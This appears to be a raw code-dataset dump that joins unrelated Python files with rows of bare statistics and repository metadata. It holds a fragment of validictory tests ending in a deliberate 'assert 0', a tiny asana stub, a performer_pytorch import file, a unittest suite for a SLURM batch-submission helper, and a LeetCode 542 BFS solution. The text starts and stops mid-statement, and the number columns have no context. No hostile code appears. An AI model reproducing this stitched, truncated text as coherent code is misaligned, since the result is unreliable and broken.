"30:00:00"} # ensure it raises an error self.assertRaises(validictory.ValidationError, validictory.validate, data, schema, fail_fast=True) # ensure it raises a MultiError self.assertRaises(validictory.MultipleValidationError, validictory.validate, data, schema, fail_fast=False) # ensure that the MultiError has 2 errors try: validictory.validate(data, schema, fail_fast=False) except validictory.MultipleValidationError as mve: assert len(mve.errors) == 2 class TestArrayWithEnum(TestCase): def test_multi_error_regression_wrong_schema(self): schema = { "type": "object", "properties": { "name": {"type": "string"}, "e1": {"type": "array", "enum": ["one", "two"]}, } } data = {"name": 2, "e1": ["one", "n"]} # ensure it raises an error self.assertRaises(validictory.ValidationError, validictory.validate, data, schema, fail_fast=True) # ensure it raises a MultiError self.assertRaises(validictory.MultipleValidationError, validictory.validate, data, schema, fail_fast=False) # ensure that the MultiError has 2 errors try: validictory.validate(data, schema, fail_fast=False) except validictory.MultipleValidationError as mve: print mve assert len(mve.errors) == 2 assert 0 def test_multi_error_regression_works(self): schema = { "type": "object", "properties": { "name": {"type": "string"}, "e2": {"type": "array", "items": {"type": "string", "enum": ["one", "two"]}, }, } } data = {"name": 2, "e2": ["one", "n"]} # ensure it raises an error self.assertRaises(validictory.ValidationError, validictory.validate, data, schema, fail_fast=True) # ensure it raises a MultiError self.assertRaises(validictory.MultipleValidationError, validictory.validate, data, schema, fail_fast=False) # ensure that the MultiError has 2 errors try: validictory.validate(data, schema, fail_fast=False) except validictory.MultipleValidationError as mve: print mve assert len(mve.errors) == 2 assert 0

34.029197

92

0.552338

443

4,662

5.735892

0.182844

0.112161

0.135773

0.171192

0.869736

0.792995

0.77804

0.726092

0

0.01231

0.337838

4,662

136

93

34.279412

0.81082

0.109181

0

0.655914

0

0.087524

0

0.182796

0

null

0

0.021505

null

0.021505

0

null

0

1

0

null

0

1

0

8

9475411c102ae24f9cec7a1bd6e464c5fa8e0d68

82

py

Python

asana/resources/tags.py

shubhamdipt/python-asana

8e05328fe8605638128be9fce449fbd34a646e01

[ "MIT" ]

null

asana/resources/tags.py

shubhamdipt/python-asana

8e05328fe8605638128be9fce449fbd34a646e01

[ "MIT" ]

null

asana/resources/tags.py

shubhamdipt/python-asana

8e05328fe8605638128be9fce449fbd34a646e01

[ "MIT" ]

null

from .gen.tags import _Tags class Tags(_Tags): """Tags resource""" pass

11.714286

27

0.634146

11

82

4.545455

0.636364

0.32

0

0.231707

82

6

28

13.666667

0.793651

0.158537

0

1

0

true

0.333333

0

0.666667

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

94761fde89de6a051532a7acd5de82dfebde9d2f

240

py

Python

performer_pytorch/__init__.py

qazwsxal/performer-pytorch

9dbba437064b1697b5ec05fbb831210fff55ad64

[ "MIT" ]

null

performer_pytorch/__init__.py

qazwsxal/performer-pytorch

9dbba437064b1697b5ec05fbb831210fff55ad64

[ "MIT" ]

null

performer_pytorch/__init__.py

qazwsxal/performer-pytorch

9dbba437064b1697b5ec05fbb831210fff55ad64

[ "MIT" ]

1

2021-02-16T21:06:29.000Z

from performer_pytorch.performer_pytorch import PerformerLM, Performer, FastAttention, SelfAttention from performer_pytorch.autoregressive_wrapper import AutoregressiveWrapper from performer_pytorch.performer_enc_dec import PerformerEncDec

60

100

0.9125

25

240

8.48

0.52

0.301887

0.283019

0.273585

0

0.0625

240

3

101

80

0.942222

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

846d453007415b36288f49a79f6a5047a956f160

29,920

py

Python

sutils/applications/assistbatch/test_core.py

t-mertz/slurm_utils

6fc9709f62e2bca1387ea9c7a5975f0f0be5d0dd

[ "MIT" ]

null

sutils/applications/assistbatch/test_core.py

t-mertz/slurm_utils

6fc9709f62e2bca1387ea9c7a5975f0f0be5d0dd

[ "MIT" ]

null

sutils/applications/assistbatch/test_core.py

t-mertz/slurm_utils

6fc9709f62e2bca1387ea9c7a5975f0f0be5d0dd

[ "MIT" ]

null

import unittest from unittest.mock import patch, mock_open, MagicMock, Mock, call import copy from ...slurm_interface import resources as resources from ...slurm_interface import api as slurm from ...slurm_interface import config from . import core def my_mock_open(*args, **kwargs): f_open = mock_open(*args, **kwargs) f_open.return_value.__iter__ = lambda self: iter(self.readline, '') return f_open class TestGetResourceSummary(unittest.TestCase): def test_print_none(self): idle = [] queued = [] self.assertEqual(core.get_resource_summary(idle, queued), []) def test_print_one_idle(self): idle = [resources.Resource('partition', 2, 1, None)] queued = [] ret = ["(1) partition: partition, CPUs: 2, nodes: 1, (idle)\n"] self.assertEqual(core.get_resource_summary(idle, queued), ret) def test_print_one_queued(self): idle = [] queued = [resources.Resource('partition', 2, 1, None)] ret = ["(1) partition: partition, CPUs: 2, nodes: 1, (allocated)\n"] self.assertEqual(core.get_resource_summary(idle, queued), ret) def test_print_two_idle_queued(self): idle = [resources.Resource('partition3', 4, 2, None), resources.Resource('partition4', 1, 2, None) ] queued = [resources.Resource('partition', 2, 1, None), resources.Resource('partition1', 3, 1, None) ] ret = [ "(1) partition: partition3, CPUs: 4, nodes: 2, (idle)\n", "(2) partition: partition4, CPUs: 1, nodes: 2, (idle)\n", "(3) partition: partition, CPUs: 2, nodes: 1, (allocated)\n", "(4) partition: partition1, CPUs: 3, nodes: 1, (allocated)\n" ] self.assertEqual(core.get_resource_summary(idle, queued), ret) class TestFindOptimalResources(unittest.TestCase): def setUp(self): self.sinfo_stdout = "node01 partition 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" \ +"node02 partition1 1.00 7/8/1/16 2:8:2 alloc 16384 16000 10 infiniband\n" self.infodat = slurm.SinfoData(self.sinfo_stdout) @patch("sutils.applications.assistbatch.core.slurm.SinfoData.filter_partition") def test_calls_filter_partition(self, filter_partition): req = resources.Resource('partition', 1, 1, None) filter_partition.return_value = slurm.SinfoData(self.sinfo_stdout.split('\n')[0]) core.find_optimal_resources(self.infodat, req, idle=True) filter_partition.assert_called_once_with(['partition']) @patch("sutils.applications.assistbatch.core.resources.find_resources") @patch("sutils.applications.assistbatch.core.slurm.SinfoData.filter_partition") def test_calls_find_resources(self, filter_partition, find_resources): part_infodat = slurm.SinfoData(self.sinfo_stdout.split('\n')[0]) filter_partition.return_value = part_infodat find_resources.return_value = [1, 2] req = resources.Resource('partition', 1, 1, None) core.find_optimal_resources(self.infodat, req, idle=True) find_resources.assert_called_once_with(part_infodat, 1, idle=True) @patch("sutils.applications.assistbatch.core.resources.find_resources") def test_returns_optimal_resource(self, find_resources): find_resources.return_value = (10, 2) req = resources.Resource('partition', 1, 1, None) ret = core.find_optimal_resources(self.infodat, req, idle=True) opt = resources.Resource('partition', 10, 2, None) self.assertEqual(ret, [opt]) SAMPLE_FILE = ''.join([ "#!/bin/sh\n", "#SBATCH --partition=mypartition\n", "#SBATCH --ntasks=20\n", "sleep 1\n" ]) SAMPLE_FILE_NODES = ''.join([ "#!/bin/sh\n", "#SBATCH --partition=mypartition\n", "#SBATCH --ntasks=20\n", "#SBATCH --nodes=2\n", "sleep 1\n" ]) SAMPLE_FILE_MEM = ''.join([ "#!/bin/sh\n", "#SBATCH --partition=mypartition\n", "#SBATCH --ntasks=20\n", "#SBATCH --nodes=2\n", "#SBATCH --mem=2000\n", "sleep 1\n" ]) SAMPLE_FILE_MEM_PER_CPU = ''.join([ "#!/bin/sh\n", "#SBATCH --partition=mypartition\n", "#SBATCH --ntasks=20\n", "#SBATCH --nodes=2\n", "#SBATCH --mem-per-cpu=2000\n", "sleep 1\n" ]) SAMPLE_FILE_MEM_AND_MEM_PER_CPU = ''.join([ "#!/bin/sh\n", "#SBATCH --partition=mypartition\n", "#SBATCH --ntasks=20\n", "#SBATCH --nodes=2\n", "#SBATCH --mem-per-cpu=2000\n", "#SBATCH --mem=2000\n" "sleep 1\n" ]) SAMPLE_FILE_TWO_PARTITIONS = ''.join([ "#!/bin/sh\n", "#SBATCH --partition=mypartition,mysecondpartition\n", "#SBATCH --ntasks=20\n", "sleep 1\n" ]) SAMPLE_FILE_MISSING_PARTITION = ''.join([ "#!/bin/sh\n", "#SBATCH --ntasks=20\n", "sleep 1\n" ]) SAMPLE_FILE_MISSING_NTASKS = ''.join([ "#!/bin/sh\n", "#SBATCH --partition=mypartition\n", "sleep 1\n" ]) class TestReadSbatchFile(unittest.TestCase): @patch("sutils.applications.assistbatch.core.open", my_mock_open(read_data=SAMPLE_FILE_MISSING_PARTITION), create=True) def test_missing_partition_raises_runtimeerror(self): self.assertRaises(RuntimeError, core.read_sbatch_file, 'filename') @patch("sutils.applications.assistbatch.core.open", my_mock_open(read_data=SAMPLE_FILE_MISSING_NTASKS), create=True) def test_missing_ntasks_raises_runtimeerror(self): self.assertRaises(RuntimeError, core.read_sbatch_file, 'filename') @patch("sutils.applications.assistbatch.core.open", my_mock_open(read_data=SAMPLE_FILE), create=True) def test_reads_single_partition_correctly(self): res = resources.Resource('mypartition', 20, None, None) self.assertEqual(core.read_sbatch_file('filename')[0], res) @patch("sutils.applications.assistbatch.core.open", my_mock_open(read_data=SAMPLE_FILE), create=True) def test_returns_single_partition(self): self.assertEqual(len(core.read_sbatch_file('filename')), 1) @patch("sutils.applications.assistbatch.core.open", my_mock_open(read_data=SAMPLE_FILE_TWO_PARTITIONS), create=True) def test_returns_two_partitions(self): self.assertEqual(len(core.read_sbatch_file('filename')), 2) @patch("sutils.applications.assistbatch.core.open", my_mock_open(read_data=SAMPLE_FILE_TWO_PARTITIONS), create=True) def test_reads_two_partitions_correctly(self): res1 = resources.Resource('mypartition', 20, None, None) res2 = resources.Resource('mysecondpartition', 20, None, None) self.assertEqual(core.read_sbatch_file('filename'), [res1, res2]) @patch("sutils.applications.assistbatch.core.open", my_mock_open(read_data=SAMPLE_FILE_NODES), create=True) def test_reads_nodes_correctly(self): self.assertEqual(core.read_sbatch_file('filename')[0].nodes(), 2) @patch("sutils.applications.assistbatch.core.open", my_mock_open(read_data=SAMPLE_FILE_MEM), create=True) def test_reads_mem_correctly(self): self.assertEqual(core.read_sbatch_file('filename')[0].memory(), 2000) @patch("sutils.applications.assistbatch.core.open", my_mock_open(read_data=SAMPLE_FILE_MEM_PER_CPU), create=True) def test_reads_mem_per_cpu_correctly(self): self.assertEqual(core.read_sbatch_file('filename')[0].memory(), 40000) @patch("sutils.applications.assistbatch.core.open", my_mock_open(read_data=SAMPLE_FILE_MEM_AND_MEM_PER_CPU), create=True) def test_mem_per_cpu_overrides_mem(self): self.assertEqual(core.read_sbatch_file('filename')[0].memory(), 40000) @patch("sutils.applications.assistbatch.core.open", my_mock_open(read_data=SAMPLE_FILE), create=True) def test_missing_nodes_is_none(self): self.assertEqual(core.read_sbatch_file('filename')[0].nodes(), None) class TestWriteSbatchFile(unittest.TestCase): @patch("sutils.applications.assistbatch.core.open", my_mock_open(read_data=SAMPLE_FILE), create=True) def test_calls_open_read_once(self): #myopen = my_mock_open(read_data=SAMPLE_FILE) core.write_sbatch_file('infilename', resources.Resource('partition', 1, 1, 1000)) self.assertEqual(core.open.mock_calls.count(call('infilename', 'r')), 1) @patch("sutils.applications.assistbatch.core.open", my_mock_open(read_data=SAMPLE_FILE), create=True) def test_calls_open_write_once(self): #myopen = my_mock_open(read_data=SAMPLE_FILE) core.write_sbatch_file('infilename', resources.Resource('partition', 1, 1, 1000)) self.assertEqual(core.open.mock_calls.count(call('asbatch_infilename', 'w')), 1) @patch("sutils.applications.assistbatch.core.open", my_mock_open(read_data=SAMPLE_FILE), create=True) def test_calls_write_once_per_line(self): #myopen = my_mock_open(read_data=SAMPLE_FILE) core.write_sbatch_file('infilename', resources.Resource('mynewpartition', 1, 1, 1000)) calls = [ call('infilename', 'r'), call().__enter__(), call('asbatch_infilename', 'w'), call().__enter__(), call().readline(), call().write("#!/bin/sh\n"), call().readline(), call().write("#SBATCH --partition=mynewpartition\n"), call().readline(), call().write("#SBATCH --ntasks=1\n"), call().readline(), call().write("#SBATCH --nodes=1\n"), call().write("sleep 1\n"), call().readline(), call().__exit__(None, None, None), call().__exit__(None, None, None) ] core.open.assert_has_calls(calls) @patch("sutils.applications.assistbatch.core.open", my_mock_open(read_data=SAMPLE_FILE_NODES), create=True) def test_calls_write_once_per_line_with_nodes(self): #myopen = my_mock_open(read_data=SAMPLE_FILE) core.write_sbatch_file('infilename', resources.Resource('mynewpartition', 1, 1, 1000)) calls = [ call('infilename', 'r'), call().__enter__(), call('asbatch_infilename', 'w'), call().__enter__(), call().readline(), call().write("#!/bin/sh\n"), call().readline(), call().write("#SBATCH --partition=mynewpartition\n"), call().readline(), call().write("#SBATCH --ntasks=1\n"), call().readline(), call().write("#SBATCH --nodes=1\n"), call().readline(), call().write("sleep 1\n"), call().readline(), call().__exit__(None, None, None), call().__exit__(None, None, None) ] core.open.assert_has_calls(calls) @patch("sutils.applications.assistbatch.core.open", my_mock_open(read_data=SAMPLE_FILE_MEM), create=True) def test_calls_write_once_per_line_with_mem(self): #myopen = my_mock_open(read_data=SAMPLE_FILE) core.write_sbatch_file('infilename', resources.Resource('mynewpartition', 1, 1, 1000)) calls = [ call('infilename', 'r'), call().__enter__(), call('asbatch_infilename', 'w'), call().__enter__(), call().readline(), call().write("#!/bin/sh\n"), call().readline(), call().write("#SBATCH --partition=mynewpartition\n"), call().readline(), call().write("#SBATCH --ntasks=1\n"), call().readline(), call().write("#SBATCH --nodes=1\n"), call().readline(), call().write("#SBATCH --mem=1000\n"), call().readline(), call().write("sleep 1\n"), call().readline(), call().__exit__(None, None, None), call().__exit__(None, None, None) ] core.open.assert_has_calls(calls) class TestGetOptionFromUser(unittest.TestCase): @patch("sutils.applications.assistbatch.core.input") def test_prints_resource_summary(self, mock_input): idle = [resources.Resource('partition1', 1, 2, 3)] queued = [resources.Resource('partition2', 4, 5, 6)] txt = ['output_of\n', 'get_resource_summary\n'] mock_input.return_value = '1' with patch("sutils.applications.assistbatch.core.sys.stdout", MagicMock(), create=True) as mystdout: core.get_option_from_user(txt, idle, queued) #print(mystdout.mock_calls) calls = [ call.write(txt[0]), call.write(''), call.write(txt[1]), call.write(''), ] mystdout.assert_has_calls(calls) @patch("sutils.applications.assistbatch.core.input") def test_get_first_idle(self, mock_input): idle = [resources.Resource('partition1', 1, 2, 3)] queued = [resources.Resource('partition2', 4, 5, 6)] txt = [''] mock_input.return_value = '1' with patch("sutils.applications.assistbatch.core.sys.stdout", MagicMock(), create=True) as mystdout: res = core.get_option_from_user(txt, idle, queued) self.assertEqual(res, idle[0]) @patch("sutils.applications.assistbatch.core.input") def test_get_first_queue(self, mock_input): idle = [resources.Resource('partition1', 1, 2, 3)] queued = [resources.Resource('partition2', 4, 5, 6)] txt = ['', ''] mock_input.return_value = '2' with patch("sutils.applications.assistbatch.core.sys.stdout", MagicMock(), create=True) as mystdout: res = core.get_option_from_user(txt, idle, queued) self.assertEqual(res, queued[0]) @patch("sutils.applications.assistbatch.core.input") def test_get_second_idle(self, mock_input): idle = [resources.Resource('partition1', 1, 2, 3), resources.Resource('partition2', 4, 5, 6)] queued = [] txt = ['', ''] mock_input.return_value = '2' with patch("sutils.applications.assistbatch.core.sys.stdout", MagicMock(), create=True) as mystdout: res = core.get_option_from_user(txt, idle, queued) self.assertEqual(res, idle[1]) @patch("sutils.applications.assistbatch.core.input") def test_get_second_queue(self, mock_input): idle = [] queued = [resources.Resource('partition1', 1, 2, 3), resources.Resource('partition2', 4, 5, 6)] txt = ['', ''] mock_input.return_value = '2' with patch("sutils.applications.assistbatch.core.sys.stdout", MagicMock(), create=True) as mystdout: res = core.get_option_from_user(txt, idle, queued) self.assertEqual(res, queued[1]) class TestSubmit(unittest.TestCase): @patch("sutils.applications.assistbatch.core.slurm.sbatch", Mock()) @patch("sutils.applications.assistbatch.core.slurm.sinfo_detail", Mock()) @patch("sutils.applications.assistbatch.core.read_sbatch_file") def test_calls_read_sbatch_file(self, read): sinfo_stdout = "node01 partition 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" \ +"node02 partition1 1.00 7/8/1/16 2:8:2 alloc 16384 16000 10 infiniband\n" core.slurm.sinfo_detail.return_value = core.slurm.SinfoData(sinfo_stdout) read.return_value = [resources.Resource('partition', 4, None, None)] with patch("sutils.applications.assistbatch.core.input", Mock()) as mock_input: mock_input.return_value = '1' with patch("sutils.applications.assistbatch.core.open", my_mock_open(), create=True): core.submit('myfilename') read.assert_called_once_with('myfilename') @patch("sutils.applications.assistbatch.core.slurm.sbatch", Mock()) @patch("sutils.applications.assistbatch.core.slurm.sinfo_detail", Mock()) @patch("sutils.applications.assistbatch.core.read_sbatch_file") def test_calls_sinfo_detail(self, read): sinfo_stdout = "node01 partition 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" \ +"node02 partition1 1.00 7/8/1/16 2:8:2 alloc 16384 16000 10 infiniband\n" core.slurm.sinfo_detail.return_value = core.slurm.SinfoData(sinfo_stdout) read.return_value = [resources.Resource('partition', 4, None, None)] with patch("sutils.applications.assistbatch.core.input", Mock()) as mock_input: mock_input.return_value = '1' with patch("sutils.applications.assistbatch.core.open", my_mock_open(), create=True): core.submit('myfilename') core.slurm.sinfo_detail.assert_called_once_with() @patch("sutils.applications.assistbatch.core.slurm.sbatch", Mock()) @patch("sutils.applications.assistbatch.core.slurm.sinfo_detail", Mock()) @patch("sutils.applications.assistbatch.core.read_sbatch_file") @patch("sutils.applications.assistbatch.core.find_optimal_resources", MagicMock()) def test_calls_find_optimal_resources(self, read): sinfo_stdout = "node01 partition 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" \ +"node02 partition1 1.00 7/8/1/16 2:8:2 alloc 16384 16000 10 infiniband\n" sinfo_data = core.slurm.SinfoData(sinfo_stdout) core.slurm.sinfo_detail.return_value = sinfo_data req_resource = [resources.Resource('partition', 4, None, None)] read.return_value = req_resource core.find_optimal_resources.return_value = [resources.Resource('partition', 4, 1, None)] with patch("sutils.applications.assistbatch.core.input", Mock()) as mock_input: mock_input.return_value = '1' with patch("sutils.applications.assistbatch.core.open", my_mock_open(), create=True): core.submit('myfilename') calls = [ call(sinfo_data, req_resource[0], idle=True), call(sinfo_data, req_resource[0], idle=False), ] core.find_optimal_resources.assert_has_calls(calls) @patch("sutils.applications.assistbatch.core.slurm.sbatch", Mock()) @patch("sutils.applications.assistbatch.core.slurm.sinfo_detail", Mock()) @patch("sutils.applications.assistbatch.core.read_sbatch_file") @patch("sutils.applications.assistbatch.core.resources.get_maximal_memory", MagicMock()) def test_calls_get_maximal_memory(self, read): sinfo_stdout = "node01 partition 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" \ +"node02 partition1 1.00 7/8/1/16 2:8:2 alloc 16384 16000 10 infiniband\n" sinfo_data = core.slurm.SinfoData(sinfo_stdout) core.slurm.sinfo_detail.return_value = sinfo_data req_resource = [resources.Resource('partition', 4, None, None)] read.return_value = req_resource core.find_optimal_resources.return_value = [resources.Resource('partition', 4, 1, None)] core.resources.get_maximal_memory.return_value = {'partition': 8192, 'partition1': 16384} with patch("sutils.applications.assistbatch.core.input", Mock()) as mock_input: mock_input.return_value = '1' with patch("sutils.applications.assistbatch.core.open", my_mock_open(), create=True): core.submit('myfilename') core.resources.get_maximal_memory.assert_called_once_with(sinfo_data) @patch("sutils.applications.assistbatch.core.slurm.sbatch", Mock()) @patch("sutils.applications.assistbatch.core.slurm.sinfo_detail", Mock()) @patch("sutils.applications.assistbatch.core.read_sbatch_file") @patch("sutils.applications.assistbatch.core.get_resource_summary", Mock()) def test_calls_get_resource_summary(self, read): sinfo_stdout = "node01 partition 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" \ +"node02 partition1 1.00 7/8/1/16 2:8:2 alloc 16384 16000 10 infiniband\n" core.slurm.sinfo_detail.return_value = core.slurm.SinfoData(sinfo_stdout) read.return_value = [resources.Resource('partition', 4, None, None)] core.get_resource_summary.return_value = [''] with patch("sutils.applications.assistbatch.core.input", Mock()) as mock_input: mock_input.return_value = '1' with patch("sutils.applications.assistbatch.core.open", my_mock_open(), create=True): core.submit('myfilename') core.get_resource_summary.assert_called_once_with([resources.Resource('partition', 4, 1, None)], []) @patch("sutils.applications.assistbatch.core.slurm.sbatch", Mock()) @patch("sutils.applications.assistbatch.core.slurm.sinfo_detail", Mock()) @patch("sutils.applications.assistbatch.core.read_sbatch_file") @patch("sutils.applications.assistbatch.core.get_resource_summary", Mock()) @patch("sutils.applications.assistbatch.core.sys.stdout.write", Mock()) def test_prints_error_message_if_mem_over_max(self, read): sinfo_stdout = "node01 partition 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" \ +"node02 partition1 1.00 7/8/1/16 2:8:2 alloc 16384 16000 10 infiniband\n" core.slurm.sinfo_detail.return_value = core.slurm.SinfoData(sinfo_stdout) read.return_value = [resources.Resource('partition', 4, None, 100000)] core.get_resource_summary.return_value = [''] with patch("sutils.applications.assistbatch.core.input", Mock()) as mock_input: mock_input.return_value = '1' with patch("sutils.applications.assistbatch.core.open", my_mock_open(), create=True): core.submit('myfilename') core.sys.stdout.write.assert_called_once_with("Not enough resources available.\n") # @patch("sutils.applications.assistbatch.core.slurm.sbatch", Mock()) # @patch("sutils.applications.assistbatch.core.slurm.sinfo_detail", Mock()) # @patch("sutils.applications.assistbatch.core.read_sbatch_file") # @patch("sutils.applications.assistbatch.core.write_sbatch_file", MagicMock()) # def test_calls_write_sbatch_file(self, read): # sinfo_stdout = "node01 partition 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" \ # +"node02 partition1 1.00 7/8/1/16 2:8:2 alloc 16384 16000 10 infiniband\n" # core.slurm.sinfo_detail.return_value = core.slurm.SinfoData(sinfo_stdout) # read.return_value = [resources.Resource('partition', 4, None, None)] # with patch("sutils.applications.assistbatch.core.input", Mock()) as mock_input: # mock_input.return_value = '1' # with patch("sutils.applications.assistbatch.core.open", my_mock_open(), create=True): # core.submit('myfilename') # core.write_sbatch_file.assert_called_once_with('myfilename', resources.Resource('partition', 4, 1, None)) @patch("sutils.applications.assistbatch.core.slurm.sbatch", Mock()) @patch("sutils.applications.assistbatch.core.slurm.sinfo_detail", Mock()) @patch("sutils.applications.assistbatch.core.read_sbatch_file") @patch("sutils.applications.assistbatch.core.slurm.sbatch", MagicMock()) @patch.object(resources.Resource, 'to_dict') def test_calls_sbatch(self, mock_to_dict, read): sinfo_stdout = "node01 partition 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" \ +"node02 partition1 1.00 7/8/1/16 2:8:2 alloc 16384 16000 10 infiniband\n" core.slurm.sinfo_detail.return_value = core.slurm.SinfoData(sinfo_stdout) read.return_value = [resources.Resource('partition', 4, None, None)] kwargs = { 'partition' : 'partition', 'ntasks' : 4, 'nodes' : None } mock_to_dict.return_value = kwargs with patch("sutils.applications.assistbatch.core.input", Mock()) as mock_input: mock_input.return_value = '1' with patch("sutils.applications.assistbatch.core.open", my_mock_open(), create=True): core.submit('myfilename') core.slurm.sbatch.assert_called_once_with('myfilename', exclusive=True, partition='partition', nodes=1, ntasks=4) @patch("sutils.applications.assistbatch.core.slurm.sbatch", Mock()) @patch("sutils.applications.assistbatch.core.slurm.sinfo_detail", Mock()) @patch("sutils.applications.assistbatch.core.read_sbatch_file") @patch("sutils.applications.assistbatch.core.slurm.sbatch", MagicMock()) @patch("sutils.applications.assistbatch.core.add_max_resources", MagicMock()) def test_calls_add_max_resources(self, read): sinfo_stdout = "node01 partition 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" \ +"node02 partition1 1.00 7/8/1/16 2:8:2 alloc 16384 16000 10 infiniband\n" hwinfo = core.slurm.SinfoData(sinfo_stdout) core.slurm.sinfo_detail.return_value = hwinfo read.return_value = [resources.Resource('partition', 4, None, None)] with patch("sutils.applications.assistbatch.core.input", Mock()) as mock_input: mock_input.return_value = '1' with patch("sutils.applications.assistbatch.core.open", my_mock_open(), create=True): core.submit('myfilename') core.add_max_resources.assert_called_once_with([resources.Resource('partition', 4, 1, None)], hwinfo.filter_partition(['partition'])) @patch("sutils.applications.assistbatch.core.slurm.sbatch", Mock()) @patch("sutils.applications.assistbatch.core.slurm.sinfo_detail", Mock()) @patch("sutils.applications.assistbatch.core.read_sbatch_file") @patch("sutils.applications.assistbatch.core.write_sbatch_file", MagicMock()) def test_skips_input_if_request_is_optimal(self, read): sinfo_stdout = "node01 partition 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" \ +"node02 partition1 1.00 7/8/1/16 2:8:2 alloc 16384 16000 10 infiniband\n" core.slurm.sinfo_detail.return_value = core.slurm.SinfoData(sinfo_stdout) read.return_value = [resources.Resource('partition', 4, 1, None)] with patch("sutils.applications.assistbatch.core.get_option_from_user", Mock()) as mock_input: with patch("sutils.applications.assistbatch.core.open", my_mock_open(), create=True): core.submit('myfilename') mock_input.assert_not_called() #core.write_sbatch_file.assert_called_once_with('myfilename', resources.Resource('partition', 4, 1, None)) core.slurm.sbatch.assert_called_once_with('myfilename', exclusive=True, partition='partition', ntasks=4, nodes=1) class TestAddMaxResources(unittest.TestCase): def test_adds_nothing_if_partition_is_idle(self): sinfo_stdout = "node01 partition 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" hwinfo = slurm.SinfoData(sinfo_stdout) res_idle = [resources.Resource('partition', 4, 1, None)] res_idle_cpy = copy.copy(res_idle) core.add_max_resources(res_idle, hwinfo) self.assertEqual(res_idle, res_idle_cpy) def test_adds_single_if_partition_does_not_have_enough_idle(self): sinfo_stdout = "node01 partition 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" hwinfo = slurm.SinfoData(sinfo_stdout) res_idle = [] core.add_max_resources(res_idle, hwinfo) self.assertEqual(res_idle, [resources.Resource('partition', 4, 1, 8192)]) def test_adds_single_for_multiple_if_partitions_do_not_have_enough_idle(self): sinfo_stdout = "node01 partition1 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" \ + "node01 partition2 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" hwinfo = slurm.SinfoData(sinfo_stdout) res_idle = [] core.add_max_resources(res_idle, hwinfo) self.assertEqual(res_idle, [resources.Resource('partition1', 4, 1, 8192), resources.Resource('partition2', 4, 1, 8192)]) def test_adds_single_for_one_of_multiple_if_partition_does_not_have_enough_idle(self): sinfo_stdout = "node01 partition1 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" \ + "node01 partition2 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" hwinfo = slurm.SinfoData(sinfo_stdout) res_idle = [resources.Resource('partition1', 4, 1, None)] core.add_max_resources(res_idle, hwinfo) self.assertEqual(res_idle, [resources.Resource('partition1', 4, 1, None), resources.Resource('partition2', 4, 1, 8192)]) @patch("sutils.slurm_interface.resources.get_maximal_resources", create=True) def test_calls_get_maximal_resources(self, mock_get_max): sinfo_stdout = "node01 partition1 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" \ + "node01 partition2 0.00 0/4/0/4 1:4:1 idle 8192 8000 0 (null)\n" mock_get_max.return_value.__getitem__.return_value = resources.Resource('', 0, 0, None) hwinfo = slurm.SinfoData(sinfo_stdout) res_idle = [resources.Resource('partition1', 4, 1, None)] core.add_max_resources(res_idle, hwinfo) mock_get_max.assert_called_once_with(hwinfo) def test_adds_nothing_if_partition_is_allocated(self): sinfo_stdout = "node01 partition 0.00 4/0/0/4 1:4:1 allocated 8192 8000 0 (null)\n" hwinfo = slurm.SinfoData(sinfo_stdout) res_idle = [] res_idle_cpy = copy.copy(res_idle) core.add_max_resources(res_idle, hwinfo) self.assertEqual(res_idle, res_idle_cpy) def test_adds_nothing_if_partition_is_down(self): sinfo_stdout = "node01 partition 0.00 0/0/4/4 1:4:1 down 8192 8000 0 (null)\n" hwinfo = slurm.SinfoData(sinfo_stdout) res_idle = [] res_idle_cpy = copy.copy(res_idle) core.add_max_resources(res_idle, hwinfo) self.assertEqual(res_idle, res_idle_cpy)

51.408935

141

0.659124

3,843

29,920

4.916472

0.050221

0.05298

0.109559

0.161956

0.8698

0.844395

0.828411

0.801736

0.767757

0.752514

0

0.044092

0.202574

29,920

581

142

51.497418

0.74781

0.046491

0

0.638037

0

0.06135

0.307398

0.153857

0

0.092025

1

0.09407

false

0

0.014315

0

0.124744

0.01227

0

null

0

1

0

null

0

7

8472998f79a243d58a1cda32ad9f06b425c98bd0

31,387

py

Python

python/l0542.py

daidaifan/leetcode-problem-solver

1793eada501a2a18d05f118a98ac52e2edd12ef8

[ "MIT" ]

null

python/l0542.py

daidaifan/leetcode-problem-solver

1793eada501a2a18d05f118a98ac52e2edd12ef8

[ "MIT" ]

null

python/l0542.py

daidaifan/leetcode-problem-solver

1793eada501a2a18d05f118a98ac52e2edd12ef8

[ "MIT" ]

null

""" Given a matrix consists of 0 and 1, find the distance of the nearest 0 for each cell. The distance between two adjacent cells is 1. Example 1: Input: 0 0 0 0 1 0 0 0 0 Output: 0 0 0 0 1 0 0 0 0 Example 2: Input: 0 0 0 0 1 0 1 1 1 Output: 0 0 0 0 1 0 1 2 1 Note: The number of elements of the given matrix will not exceed 10,000. There are at least one 0 in the given matrix. The cells are adjacent in only four directions: up, down, left and right. """ class Solution(object): def updateMatrix(self, matrix): """ :type matrix: List[List[int]] :rtype: List[List[int]] """ if len(matrix) == 0: return [] m, n = len(matrix), len(matrix[0]) M = m + n solution = [[M for j in range(n)] for i in range(m)] queue = [(0, i, j) for i in range(m) for j in range(n) if matrix[i][j] == 0] while len(queue) != 0: distance, i, j = queue[0] solution[i][j] = min(solution[i][j], distance) for d1, d2 in ((1, 0), (-1, 0), (0, 1), (0, -1)): x = i + d1 y = j + d2 if x < 0 or x >= m or y < 0 or y >= n or solution[x][y] 